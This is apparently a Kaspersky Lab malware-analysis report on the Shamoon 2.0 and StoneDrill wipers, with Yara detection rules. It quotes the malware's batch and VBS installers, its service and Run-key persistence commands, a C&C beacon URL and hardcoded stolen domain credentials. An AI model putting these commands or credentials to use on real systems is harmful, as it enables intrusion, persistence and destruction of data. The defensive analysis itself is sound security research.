+However, all programmers, especially malware writers, have their own habits, and the authors
+of Shamoon are no exception:
+Since the Shamoon 1.0 story, from 2012 (6dd571b84470ad9caad30a6a6acf491e) until
+2016 (2cd0a5f1e9bcce6807e57ec8477d222a) many samples had one additional
+encrypted resource with a specific, although non-unique name "101".
+This finding got us thinking that the Shamoon attackers can re-use this pattern and we
+investigated ways of using this to hunt for new, unknown malware generations from their side.
+As researchers, we tested a lot of different approaches to find similar malicious samples based
+on this artefact, and one of them worked unexpectedly. Here
+s the logic we used to create the
+detection:
+1. We assumed that for the next waves of attack the authors would continue to recompile
+the Shamoon 2.0 version from 2016, while trying to avoid AV detection, so we focused
+mostly on the newest Shamoon versions.
+2. We assumed that the wiper would again enumerate all files inside folders, so it would
+still call Windows API functions FindFirstFile and FindNextFile.
+3. Because it uses encrypted resources, we assumed that it would find and load them with
+the Windows API functions FindResource and LoadResource.
+4. Inside all known versions of Shamoon 2.0, the resource "101" was found, with the
+following properties:
+ Level of entropy > 7.8 - that means the data inside is encrypted or compressed.
+ Size about 30 KB - we
+ve decided to set the minimum limit at 20 KB.
+ Language = neutral (not set); all other resources had the languages "Arabic
+(Yemen)" or "English United States".
+ Does not contain an unencrypted PE executable file inside.
+After initial testing, we decided to add more search criteria to limit the number of possible false
+positive detections:
+Shamoon samples had no digital signature, so the sample would be unsigned.
+All known Shamoon samples with resource "101" had a maximum file size of 370 KB, so
+it's reasonable to limit the file size to twice that number - 700 KB.
+ The number of resources inside the sample should not be too high - less than 15.
+Our favorite malware hunting tool, Yara, provides a rule-bused approach to create descriptions of
+malware families based on textual or binary patterns.
+Here
+s the detection rule we wrote using all the above conditions:
+import "pe"
+import "math"
+rule susp_file_enumerator_with_encrypted_resource_101 {
+meta:
+copyright = "Kaspersky Lab"
+description = "Generic detection for samples that enumerate files with encrypted resource
+called 101"
+hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
+hash = "c843046e54b755ec63ccb09d0a689674"
+version = "1.4"
+strings:
+$mz = "This program cannot be run in DOS mode."
+$a1 = "FindFirstFile" ascii wide nocase
+$a2 = "FindNextFile" ascii wide nocase
+$a3 = "FindResource" ascii wide nocase
+$a4 = "LoadResource" ascii wide nocase
+condition:
+uint16(0) == 0x5A4D and
+all of them and
+filesize < 700000 and
+pe.number_of_sections > 4 and
+pe.number_of_signatures == 0 and
+pe.number_of_resources > 1 and pe.number_of_resources < 15 and
+for any i in (0..pe.number_of_resources - 1):
+(math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and
+pe.resources[i].id == 101 and
+pe.resources[i].length > 20000 and
+pe.resources[i].language == 0 and
+not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length))
+While running the above Yara rule on Kaspersky Lab
+s samples selection, we found an
+interesting, fresh sample. After a quick analysis, we realized it was yet another wiper. However,
+it was not Shamoon, but something different. We
+ve decided to call it StoneDrill.
+1.2. From StoneDrill to NewsBeef
+Having identified the StoneDrill sample through the Yara technique above, we started looking
+for other possibly related samples.
+One Yara technique that has proved useful in the past for finding new malware variants is the
+development of Yara rules for decrypted malware components. During attacks, malware
+components can be changed to fit the attackers
+ requirements, so hunting for decrypted
+malware code might help in finding new malware variants or even older samples.
+With StoneDrill, we developed several Yara rules for the decrypted payloads. Here
+s one of our
+Yara rules for a decrypted StoneDrill module:
+rule StoneDrill_main_sub {
+meta:
+author
+= "Kaspersky Lab"
+description = "Rule to detect StoneDrill (decrypted) samples"
+hash
+= "d01781f1246fd1b64e09170bd6600fe1"
+hash
+= "ac3c25534c076623192b9381f926ba0d"
+version
+= "1.0"
+strings:
+$code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF
+30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
+condition:
+uint16(0) == 0x5A4D and
+$code and
+filesize < 5000000
+Interestingly, this rule allowed us to find a new category of samples, which we previously
+connected with a threat actor named NewsBeef. We wrote about NewsBeef roughly one year
+ago, in relation to another set of attacks against oil and energy companies from the Middle East.
+Further analysis indicated the malware samples from StoneDrill and NewsBeef appear to be
+connected together through numerous internal similarities.
+The use of simple logic in conjunction with a knowledge of Yara can help attain a state-of-the-art
+outcome in malware hunting activity. If you would like to learn more, you can join us for the Yara
+training "Hunt APTs with Yara like a GReAT Ninja" and the advanced 
+Malware Reverse
+Engineering course
+ on April 1-2, 2017 in St. Maarten.
+Several private intelligence reports on Shamoon, StoneDrill and NewsBeef are available to
+subscribers of Kaspersky Lab
+s Private Intelligence Reports.
+For more information please contact: intelreports@kaspersky.com
+2. Technical details - Shamoon 2.0 - language
+usage and possible Yemeni links
+Several good technical articles on Shamoon 2.0 have been published by some of our
+colleagues, including Palo Alto, IBM X-Force, Symantec and others.
+Throughout this blog we describe some of the technical details of the new Shamoon 2.0 attacks
+and what are the most important things that make them stand out. For the analysis we used the
+earliest set of samples, with a hardcoded attack date of 17 November 2016. However, we
+also included details from the newer samples, such as hardcoded credentials.
+During deployment in the victim
+s environment, the main Shamoon 2.0 wiper module is installed
+through a Windows Batch file with the following content:
+@echo off
+set u100=ntertmgr32.exe
+set u200=service
+set u800=%~dp0
+copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%" start /b %systemroot%\system32\%u100%
+%u200%
+Interestingly, the sample resources appear to have a language ID of 
+Arabic (Yemen)
+suggesting the attackers might be from Yemen. Of course, we should not disregard the
+possibility that the resource language could be a false flag planted there by the attackers.
+2.1. 32-bit Shamoon dropper/worm (ntssrvr32.exe)
+SHA256
+394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b
+5446f46d89124462ae7aca4fce420423
+Compiled 2009.02.15 12:31:44 (GMT), VC 2010
+Type
+I386 Console EXE
+Size
+1 349 632 bytes
+This executable is a worm designed to infect computers connected to a Windows domain. To
+achieve this, it relies on a list of hardcoded, previously stolen username/password pairs
+belonging to administrators of the targeted domain. All the strings in the malware are obfuscated
+with simple one byte ADD operations and are decrypted upon execution. All the dropped files
+exhibit file times altered to match that of the system
+s kernel32.dll. The module only works if it
+is run with exactly one command line parameter, regardless of the parameter. Otherwise, it
+simply exits (likely a measure to avoid accidental execution).
+The hardcoded credentials we have observed so far are:
+Domain name
+Username
+Domain name
+Username
+Domain
+name
+Username
+GACA
+gacaadmin15
+CRISTALGLOBAL
+ckadmin
+SAICO
+administrator
+gacaadmin22
+jaladmin
+muneeb
+mukhsx01
+beadmin
+Administrator
+pgSCMADM
+crmadmin
+ALAB.local
+admin
+mnxxnadmin
+tvcenter
+GNET and 
+saud.a2
+thirnx01
+khaleel
+Habib1
+pamadmin1
+mhamdi
+shokax00
+mawale
+alqifaria
+backupadmn
+spadmin
+gacaadmin08
+cloudsvc
+SIPA
+SIDF
+administrator
+SCSB
+qomari.a
+ucam01
+shabbir
+administrator
+tsfarooq
+aalshamari
+bbadmin
+CLIUSR
+nbu_service
+CUCMUser
+administrator
+UnityDirSvc
+email4
+UnityMsgStoreSvc
+TESTDOMAIN
+.COM
+SADARA
+test123
+YAMSTEEL
+Administrator
+RIYADH
+faxserver
+citrbass
+test456
+yidadm
+If the victim host
+s system 
+PROCESSOR_ARCHITECTURE
+ environment variable is 
+AMD64
+amd64
+, the module installs its 64-bit variant. The variant is contained within a resource
+named 
+X509
+. The resource is de-XORed and dropped onto the system under:
+<%WindowsDir%\system32\ntssrvr64.exe>.
+It is then installed as a service via the command:
+cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config NtsSrv binpath=
+"C:\WINDOWS\system32\ntssrvr64.exe LocalService" && ping -n 10 127.0.0.1 >nul && sc start NtsSrv
+2.1.1. Installation as a Service
+If the malware is running on a 32-bit system, this module installs itself as a service named
+NtsSrv
+Name
+NtsSrv
+Display Name
+Description
+Microsoft Network Realtime
+Inspection Service
+Helps guard against time change attempts targeting known
+and newly discovered vulnerabilities in network time protocols
+The service is set as dependent on the 
+RpcSs
+ system service. The properties of the system
+service 
+LanmanWorkstation
+ are changed so that it depends on the newly created 
+NtsSrv
+service to allow it to start after the malware.
+2.1.2. Worm Functionality
+Once this module runs (as a service), the worm-spreading functionality is started, targeting
+every network host within the IPv4 address range, with the same first three bytes of the victim
+IP and the last byte in the range from 0 to 255, thus operating inside subnet class C (a.b.c.0/24).
+Here
+s how it works:
+1. The worm connects to a remote machine
+s registry and disables Remote UAC by setting
+the LocalAccountTokenFilterPolicy registry key value to 1 in
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
+\system.
+2. If the RemoteRegistry system service is disabled and doesn't run on the target system,
+the worm reconfigures this service to be auto-started and then starts it immediately. If
+the connection to a remote registry is unsuccessful, the worm repeats the connection
+attempt with a hardcoded set of stolen domain administrator credentials. The worm then
+searches for remote 
+\windows\system32\csrss.exe
+ files by prepending this path with
+the victim machine
+s IP as well as system shares: "ADMIN$", "C$", "D$", "E$".
+3. Once a remote system32 folder is found, the worm copies itself into this folder under the
+name 
+ntssrvr32.exe
+. It schedules a remote job to run 
+ntssrvr32.exe LocalService
+after 90 seconds.
+4. If the remote scheduler is inaccessible, the worm tries to set up NtsSrv and runs the
+service on the remote machine with the same parameters as it used for self-installation.
+Attempts with stolen credentials are also performed.
+5. An alternative but similar infection method is coded into the worm, where each infection
+is performed in a separate thread without relying on the scheduler; but it is not used at
+this time.
+2.1.3. Command and Control (C&C) Module
+After replication, the malware runs a command-and-control communication module. This
+module is contained within a resource named 
+Pkcs7
+. It is de-XORed and dropped as
+<%WindowsDir%\system32\netinit.exe>. Using the hardcoded credentials, it creates a
+Windows Task Scheduler job that executes netinit.exe 90 seconds after creation. It waits 95
+seconds and then deletes the scheduled job.
+2.1.4. Wiper and Encryptor Module
+Finally, the malware drops the wiper/encryptor module. This module first checks if it
+s time to
+run the main payload. The activation period can be set in two ways:
+1. It checks if the system time is not earlier than the time specified in the following file:
+<%windir%\inf\usbvideo324.pnf>
+2. If the file doesn
+t exist, it checks that the system time is not earlier than the hardcoded
+date: <20:45, 17 Nov 2016>
+At the specified time, the malware drops two files:
+The first file, <c:\windows\temp\key8854321.pub> is unused in this attack and contains a
+public encryption key. This is an indicator that the attackers might be using Shamoon as a
+ransomware tool in upcoming waves.
+-----BEGINPUBLICKEY----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAusZItknNNeV+xjPzIZLyB5m6gaNREC6I3CZQ7F1vDU
+CaGki83s6JVDo2NGN70mhx4q5NJrgXDzD7McpxDoJsDkKwr5mm3yEs9vmZwHcEWcvU6QbJguFgPJk6zoatVq0
+WsfIkN50ywQMVq2zmiJel2UoalPJzCWbAYG0BShXjnlcsfV8GcPW+fNRCSGKVue3RE6cV5HlAjSD8VSk4KERPu
+Wfvbk/pP0qDE60Uc7K3Bl7uxbHVB2g8unuj8B9d81TKT0hForie8V2N4FT0bdAHUHU6LT/XtAdLCp9/cTUf8zk1MC
+oxXj6CSg9xKgGgnJazC/u3R0nm/pPriF/ZkwrVhJtDd/1nf4JC1sDmc3mgv0hI+7hthf+fZkv75doHg67Gg6JOZQIMytQ
+eF8ylnUgC1ZyrAmaxN0OV69zhktzZISdmmkbtyZSHEZzIdC9PF/MJzCK5ylkEI2jQpAabgv34o2o+ZMJLSDZbNrXy9
+0LUy8GjtzJYmv02MVLjy7CSgglIbulSgMP4QC/i1fTIPhlSlMyCKnGIKdKY31KFQnoOzI8kudeted8eF/ubpFcna0TDc
+Ek+Dt8s4pN4/DsGQoncWg9HMyC8Q/MWIE/JuOCisovJ0PYq2aKetDNRMm7THcXalXKD9RpczObRWKGKzMJD
+onmBm2AETME74MRPmC/FWgsCAwEAAQ==
+-----ENDPUBLICKEY-----
+The second file is dropped from a resource named 
+PKCS12
+. It is de-XORed and dropped into
+the %system% directory with a name randomly selected from the following list:
+caclsrv.exe
+dvdquery.exe
+msinit.exe
+sigver.exe
+wcscript.exe
+certutl.exe
+event.exe
+ntfrsutil.exe
+routeman.exe
+ntnw.exe
+clean.exe
+findfile.exe
+ntdsutl.exe
+rrasrv.exe
+netx.exe
+ctrl.exe
+gpget.exe
+power.exe
+sacses.exe
+fsutl.exe
+dfrag.exe
+ipsecure.exe
+rdsadmin.exe
+sfmsc.exe
+extract.exe
+dnslookup.exe
+iissrv.exe
+regsys.exe
+smbinit.exe
+The dropped payload is then scheduled to run in the same way as the C&C communication
+module. We describe it in detail below.
+2.2. 64-bit Shamoon Dropper (ntssrvr64.exe)
+SHA256
+47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34
+8fbe990c2d493f58a2afa2b746e49c86
+Compiled 2009.02.15 12:32:19 (GMT), VC 2010
+Type
+AMD64 Console EXE
+Size
+717 312 bytes
+This dropper has the same functionality as the 32-bit variant. This version is contained within a
+resource named 
+X509
+. The resource is de-XORed and dropped onto the system under:
+<%WindowsDir%\system32\ntssrvr64.exe>.
+2.2.1. C&C Communication Module (netinit.exe)
+SHA256
+61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842
+5bac4381c00044d7f4e4cbfd368ba03b
+Compiled 2009.02.15 12:29:20 (GMT), VC 2010
+Type
+I386 Console EXE
+Size
+159 744 bytes
+SHA256
+772ceedbc2cacf7b16ae967de310350e42aa47e5cef19f4423220d41501d86a5
+ac4d91e919a3ef210a59acab0dbb9ab5
+Compiled 2009.02.15 12:29:41 (GMT), VC 2010
+Type
+AMD64 Console EXE
+Size
+183 808 bytes
+The strings in the C&C module are obfuscated by simple ADD operations and are decrypted
+upon execution. This module periodically connects to a C&C with the following URL:
+hxxp://server/category/page.php?shinu=w74K9/xQp1VjJfwwadq4HCl7VheuQXk49YnNkb
+XR+0ghrH YIRFE51FQskZya+jIPqo3VlOEpfvvgxvO26pZ3oA==
+The strange 
+server
+ in the URL string suggests multiple possibilities:
+1. It is used by mistake.
+2. It may suggest a placeholder value that wasn
+t set for the purposes of this attack.
+3. A server with this name might be installed by the attackers somewhere inside the local
+network.
+4. The local network may rely on a now poisoned DNS server.
+The string also contains the word 
+shinu=
+, which is quite interesting. This is possibly a
+transliteration of the Gulf Arabic slang word 
+for 
+what?
+. This particular slang is used in
+several countries, notably Iraq, but also sometimes in Kuwait and Bahrain. The 
+shinu
+parameter string contains the following encoded information about the victim system:
+Host IP and MAC addresses
+Windows version information
+Windows input locale IDs (keyboard layouts)
+Number of connection attempts, or content of the <%WINDIR%\inf\netimm173.pnf> file
+if the file exists. The <netimm173.pnf> file contains information about changes made by
+the wiper payload module.
+If the direct connection fails, this module tries to connect using a hardcoded proxy server of
+1.1.1.1:8080
+. This supports the assumption that the malware deployed in this case does not
+include a working C&C and the operators used a raw, unconfigured C&C module.
+Data received from the C&C server is handled in two possible ways:
+1. An executable file is downloaded as <%TEMP%\Temp\filer%rndDigits%.exe> and
+executed immediately thereafter.
+2. A file is dropped in <%WINDIR%\inf\usbvideo324.pnf> that contains the wiper
+payload
+s activation time. This effectively allows the attackers to configure the wiper time
+bomb.
+2.2.2. Disk Wiper/Encryptor Module
+SHA256
+128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd
+2cd0a5f1e9bcce6807e57ec8477d222a
+Compiled
+2009.02.15 12:30:19 (GMT), VC 2010
+Type
+I386 Console EXE
+Size
+282 112 bytes
+SHA256
+c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a
+c843046e54b755ec63ccb09d0a689674
+Compiled
+2009.02.15 12:30:41 (GMT), VC 2010
+Type
+AMD64 Console EXE
+Size
+327 680 bytes
+Despite the widespread coverage of the resurgence of the Shamoon wiper, few have noted the
+new ransomware functionality. The wiper module of Shamoon 2.0 has been designed to run as
+either a wiper or an encryptor (ransomware).
+1. The module is configured to wipe the disk using the 
+Death of Alan Kurdi
+ photo. The
+picture depicts a three-year-old Syrian refugee who drowned as his family attempted to
+reach Europe and travel on to Canada. The module can also be configured to wipe the
+disk using random data.
+2. In the 
+encryption/ransomware
+ mode, a weak pseudo-random RC4 key is generated,
+which is further encrypted by the RSA public key and stored directly on the hard drive (at
+<\Device\Harddisk0\Partition0>) starting at offset 0x201, right after the master boot
+record.
+3. Once the module is extracted, it drops a legitimate driver named <DRDISK.SYS> to the
+disk and starts it. This driver is used for low-level disk operations and is well known from
+previous Shamoon attacks. Before accessing this driver, the system date is changed to
+a random day between the 1st and 20th of August, 2012 to fool the driver
+s license
+checks and evaluation period.
+4. The payload employs the file <%WINDIR%\inf\netimm173.pnf> to keep track of the
+operations performed. The content of this file is sent to the C&C server by the
+communication module.
+5. The strings in this module are also obfuscated by simple ADD operations and decrypted
+at start.
+2.2.3. Payload Configuration
+There are two 25-byte length configuration strings in the wiper payload:
+SPPPPPPPPPMPPHHHHHHHHHHBO
+NNNNNNNNNNWNNNNNNNNNNNWWW
+Letters in the first string specify a type of operation to be performed, with the available operations
+explained below. The second string designates how these operations should be performed: the letter 'N'
+means that the operation will be executed synchronously in separate threads, the letter 'W' means the
+operation will wait until a previous step is completed.
+Here
+s an explanation of the configuration string above:
+Letter
+Operation
+The first operation, marked by the letter 'S' wipes (or encrypts) the content of the Shamoon
+2.0 components (netinit.exe, ntssrvr32.exe, and wiper module itself). Using the low-level disk
+access driver makes it possible to wipe the body of a running executable.
+The next 9 'P' letters indicate wiping (or encrypting) of the files placed inside the traditional
+user folders: desktop, download, document, desktop, download, document, picture, video,
+and music.
+The 'M' wipes (or encrypts) the NTFS MFT data on all accessible drives mapped from A: to
+Z:, except the system drive.
+The next two 'P' letters wipe (or encrypt) files inside the following folders:
+<C:\Windows\System32\Drivers> and <C:\Windows\System32\Config\systemprofile>
+The 10 'H' letters wipe (or encrypt) some of the partitions from 9 to 0 on hard disks 9-0
+(SystemBoot and FirmwareBootDevice partitions and partition 0 on the system drive are
+skipped in this step)
+The 'B' letter wipes (or encrypts) part of the partition designated as FirmwareBootDevice
+The final 'O' wipes (or encrypts) the Master File Table on the system drive, the first sector of
+\Device\Harddisk0\Partition0, and the last part of the SystemBootDevice partition.
+Two minutes after all tasks are completed, the system is rebooted with the following command:
+shutdown -r -f -t 2
+2.2.4. Low-Level Disk Access Driver (DRDISK.SYS)
+SHA256
+4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6
+1493d342e7a36553c56b2adea150949e
+Compiled 2011.12.28 16:51:24 (GMT), VC 2005
+Type
+I386 Native
+Size
+27 280 bytes
+SHA256
+eaee62a8238189e8607b24c463a84c83c2331a43b034484972e4b302bd3634d9
+42f883d029b47f9d490a427091da3f5d
+Compiled 2011.12.28 16:51:29 (GMT), VC 2005
+Type
+AMD64 Native
+Size
+31 998 bytes
+These signed legitimate drivers form part of the EldoS RawDisk product. This product is
+designed to provide direct access to disks and protected files from user-mode applications.
+Sadly, this functionality has been adopted and abused by multiple threat actors to develop wiper
+malware, as in the case of the original Shamoon or the Lazarus Destover malware used in the
+infamous Sony Pictures Entertainment attack of 2014. In order to bypass the EldoS RawDisk
+drivers
+ evaluation period license checks, the Shamoon 2.0 malware changes the system date
+to a random day between the 1st and 20th of August, 2012.
+2.3. From Shamoon 2.0 to StoneDrill 1.0
+StoneDrill has some style similarities to the previously discovered Shamoon samples.
+Particularly interesting is the heavy use of anti-emulation techniques in the malware, which
+prevents the automated analysis by emulators or sandboxes.
+One of the most interesting characteristics is the presence of the Persian language in multiple
+resource sections.
+Samples of the StoneDrill malware were uploaded multiple times to multiscanner systems from
+Saudi Arabia between 27 and 30 November 2016. One StoneDrill victim was also observed in
+the Kaspersky Security Network (KSN) in Europe.
+2.4. The StoneDrill wiper
+SHA256
+62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260
+0ccc9ec82f1d44c243329014b82d3125
+Compiled 1999.02.08 06:15:47 (GMT) fake, VC 2015
+Type
+I386 GUI EXE
+Size
+195072 bytes
+The malware PE file timestamp is fake; however, the authors forgot to alter a timestamp inside
+the debug directory. The real timestamp from the debug directory points to: 2016.11.14
+21:16:45
+1. The module highlighted above starts from a heavy anti-emulation function that contains
+numerous WinAPI calls with invalid parameters. The goal is to break through the
+detection of antivirus emulators and heuristic detection.
+2. The second anti-emulation technique is run before the payload execution: this module
+creates a hidden dialog window, then finds and programmatically clicks the 
+ button
+on that dialog. After that, another series of incorrect WinAPI calls follow.
+3. The malware then finds the file path of the default Internet browser app by looking into
+the following registry keys:
+a. SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\Us
+erChoice
+b. HKCR\%ProgId_val%\shell\open\command
+4. The malware then checks to ensure the browser is not LaunchWinApp.exe or is
+compiled for the 64-bit architecture, in which case the path of
+%PROGRAM_FILESX86%\Internet Explorer\iexplore.exe
+ is used instead.
+5. The default browser is then started and the wiper module is injected into the running
+browser memory.
+6. After the successful start of the wiper module, the following script is dropped and
+executed: 
+%temp%\C-Dlt-C-Org-T.vbs
+7. Another temporary file is dropped 
+%temp%\C-Dlt-C-Trsh-T.tmp
+ which contains the
+name of the Injector module; this file is deleted after execution is completed.
+WScript.Sleep(10 * 1000)
+On Error Resume Next
+Set WshShell = CreateObject("Scripting.FileSystemObject")
+While WshShell.FileExists("%selfname%")
+WshShell.DeleteFile "%selfname%"
+Wend
+WScript.Sleep(10 * 1000)
+WshShell.DeleteFile "%temp%\C-Dlt-C-Org-T.vbs"
+Set WshShell = Nothing
+%temp%\C-Dlt-C-Org-T.vbs File contents
+2.4.1. The StoneDrill Disk Wiper Module
+SHA256
+bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc
+697c515a46484be4f9597cb4f39b2959
+Compiled 2016.11.14 21:16:40 (GMT), VC 2015
+Type
+I386 GUI EXE
+Size
+130 560 bytes
+Unlike Shamoon, the StoneDrill disk wiper module is not written onto disk but instead is injected
+directly into the user
+s preferred browser process memory. This module inherits the second anti-
+emulation trick only (clicking the button on the hidden dialog window); it is also obfuscated with
+the same alphabet-based string encryption. If the browser process privileges do not permit the
+raw disk wiping, only the user-accessible files are deleted.
+Depending on the configuration, this module wipes with random data one of following possible
+targets:
+All accessible physical drives by using the device path 
+\\.\PhysicalDrive
+All accessible logical drives by using device path 
+\\.\X:
+Recursively wipes and deletes files in all folders except 
+Windows
+ on all accessible
+logical drives
+ Places a special emphasis on wiping files named 
+asdhgasdasdwqe%digits%
+ in the
+root folder of the disk.
+Just like Shamoon, after the wipe process is completed, the system is rebooted.
+2.5. The StoneDrill backdoor
+According to the PE timestamps from StoneDrill sample two and sample one (2016.10.19 and
+2016.11.14 respectively), this malware file was compiled a month before the previously
+described StoneDrill sample. However, internally this tool wrapper (injector) looks like a more
+modern evolution of the previously discussed wiper wrapper.
+The sample is generally of low quality, with many unused code blocks, unreliable anti-emulation
+and few non critical bugs. In some cases functions are executed but the results are not used:
+Is the current user a domain administrator?
+Is the antivirus process currently running?
+Is the current process running in a virtual environment such as VMware or VirtualBox?
+2.6. The StoneDrill Installer/Injector module
+SHA256
+69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db
+ac3c25534c076623192b9381f926ba0d
+Compiled
+2016.10.19 14:26:01 (GMT), VC 2015
+Type
+I386 GUI EXE
+Size
+195072 bytes
+2.6.1. First step: anti-emulation tricks
+This module is very similar to the above discussed injector module, utilizing the same set of
+anti-emulation tricks, injection into the user
+s preferred browser and VBS scripts. A distinction in
+this sample is the wide utilization of the WMI command-line (WMIC) utility to run tasks such as
+running the dropped VBS script or making registry modifications.
+Strings in this module are encrypted in two ways:
+Alphabet replacement
+SSE XOR 0x5235
+2.6.2. Second step: name construction and installation
+This module checks if it is already running from the 
+%COMMON_APPDATA%\Chrome
+ folder.
+In cases where the malware is started from a different folder, the installation procedure is
+started.
+During installation, a name is constructed through concatenation of three randomly selected
+strings from the below three sets, for example - PowerNetworkProxy, RAMFirewallTransfer,
+LocationAgentFramework:
+Set1
+Set2
+Set3
+Intel, AMD, Microsoft, Windows, Java, Adobe, Cisco, SunGard, Query, Location, Power, NFC, DotNet,
+MFC, WMI, SQL, Office, Bitlocker, Map, Fingerprint, Packet, Registery, RAM, CPU, ROM, Memory,
+Monitor, CDROM, Run-time, Task, Ethernet, Application, Lockscreen, Cloud, Browser, Cash, Desktop,
+Display
+File, System, Service, Device, Software, Hardware, VM, Network, Performance, Graphic, Engine, Agent,
+Data, Wizard, Server, Media, History, Storage, Core, boot, Gaming, Firewall
+Manager, Arranger, Controller, Host, Help, Diagnostics, LogOn, Plug, Proxy, Events, Transfer, Policy,
+Recovery, Details, Provider, Adapter, CleanUp, Encryption, Extention, APP, Client, Menu, Stub,
+Execute, Luncher, Framework, Tester, Model, Backup, API
+The VBS script 
+%TEMP%\C-PDC-C-Cpy-T.vbs
+ is then dropped in %TEMP%\
+On Error Resume Next
+Set WshShell = CreateObject("Scripting.FileSystemObject")
+WshShell.CopyFile "%SELF_NAME%" , "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe"
+Set WshShell = Nothing
+C-PDC-C-Cpy-T.vbs body template
+The script is executed using the following command to do self-copy into the
+%COMMON_APPDATA%\Chrome
+ folder:
+cmd /c WMIC Process Call Create "C:\Windows\System32\Wscript.exe //NOLOGO %TEMP%\C-PDC-C-CpyT.vbs"
+Another VBS script named 
+C-PDI-C-Cpy-T.vbs
+ is dropped into %TEMP% folder and executed
+in the same method (via WMIC used to make a second malware copy with pathname)
+C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe
+On Error Resume Next
+Set WshShell = CreateObject("Scripting.FileSystemObject")
+WshShell.CopyFile "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe" ,
+"C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe"
+C-PDI-C-Cpy-T.vbs body template
+Pathnames of these two VBS files as well as the initial malware pathname are written into
+%TEMP%\C-Dlt-C-Trsh-T.tmp file.
+At the end of the installation procedure the copy of malware (found in
+%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe
+) is executed (via 
+cmd /c
+wmic process call create
+) and the initial process terminates itself.
+2.6.3. Third step
+When the malware is started from within the 
+%COMMON_APPDATA%\Chrome
+ folder, the
+FileInfo.txt
+ file is created in the same folder and contains the pathname of the first copy of
+malware (
+%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe
+Then the third copy of the malware is created by the command 
+%COMSPEC% /c copy
+"%SELFNAME" %TEMP%\bd891.tmp
+, which checks the target file to verify if command
+execution is successful, then deletes the bd891.tmp file. The last mentioned is used as another
+anti-emulation trick in the StoneDrill arsenal.
+2.6.4. Fourth step: Payload injection
+The payload is extracted from the resources section, decrypted and unpacked similarly to the
+previously described wiper injector module. The difference here is that for the decryption of the
+payload module, SSE instructions are used.
+In the same style, the payload is injected into the user preferred browser process, with an
+additional step after the payload module injection: the resource segment responsible for the
+payload configuration is replaced in memory with the resource taken from the parent module.
+After the payload start is attempted, the VBS files listed inside C-Dlt-C-Trsh-T.tmp and C-DltC-Trsh-T.tmp are deleted.
+2.6.5. Fifth step: If not started
+If the payload is not started, then %TEMP%\C-Dlt-C-Org-T.vbs is dropped and executed to
+delete initial malware copy.
+WScript.Sleep(10 * 1000)
+On Error Resume Next
+Set WshShell = CreateObject("Scripting.FileSystemObject")
+While WshShell.FileExists("%initial_malware_pathname%")
+WshShell.DeleteFile "%initial_malware_pathname%"
+Wend
+WScript.Sleep(10 * 1000)
+WshShell.DeleteFile "%TEMP%\C-Dlt-C-Org-T.vbs"
+Set WshShell = Nothing
+2.7. StoneDrill remote access payload module
+SHA256
+105ee777ad31a58301310719b49c7b6a7e957823e4dabbfeaa6a14e313008c1b
+e3a82d1db3ae8b189d2e1e0a22d6c82f
+Compiled 2016.10.19 16:49:36 (GMT), VC 2015
+Type
+I386 GUI EXE
+Size
+317 440 bytes
+Version
+2.0.1610.76
+This module is not dropped into disk but injected directly into the user preferred browser
+process memory. The module is written in C++ with the use of STL classes, with numerous
+forgotten debug strings.
+2.7.1. First step: Decryption
+Strings in this module are encrypted by ROR, NEG, ADD or simply XOR. An unreliable antiemulation technique is utilized which makes the whole module unstable. The author assumed
+that the execution of the Sleep function with parameter 4020 milliseconds would increase the
+system value of KUSER_SHARED_DATA::InterruptTime to four seconds (rounded to the
+nearest second). If the InterruptTime is increased only by two seconds this module just exits
+immediately. In case of other values, the module will crash due to the incorrect decryption of
+strings.
+The configuration block is then loaded from resources and decrypted by two passes of XOR.
+The original module configuration resource is empty - the injector module just patches this
+resource, replacing the configuration with its own. In the configuration block, 
+ and 
+ are
+the C&C servers, 
+ is part of the connection query and seems to be a client ID.
+2.7.2. Second step: Registering autorun of installer (injector) module
+The malware reads and de-XORs content of the
+C:\ProgramData\InternetExplorer\FileInfoStp.txt file, then deletes and unregisters the
+autorun file defined in FileInfoStp.txt (autorun key deleted from registry) with the command:
+cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f
+Next, the file C:\ProgramData\InternetExplorer\FileInfoStp.txt is deleted and replaced by the
+command:
+cmd /c Copy /Y "C:\ProgramData\Chrome\FileInfo.txt" "C:\ProgramData\InternetExplorer\FileInfoStp.txt"
+The malware then drops and executes file %TEMP%\C-Strt-C-Up-T.bat
+ping 1.0.0.0 -n 1 -w 20000 > nul
+@ECHO OFF
+wmic /NameSpace:\\root\default Class StdRegProv Call SetStringValue hDefKey = "&H80000001"
+sSubKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" sValue =
+"C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe" sValueName = "Stp"
+Del "%TEMP%\C-Strt-C-Up-T.bat"
+2.7.3. Third step: C&C server selection
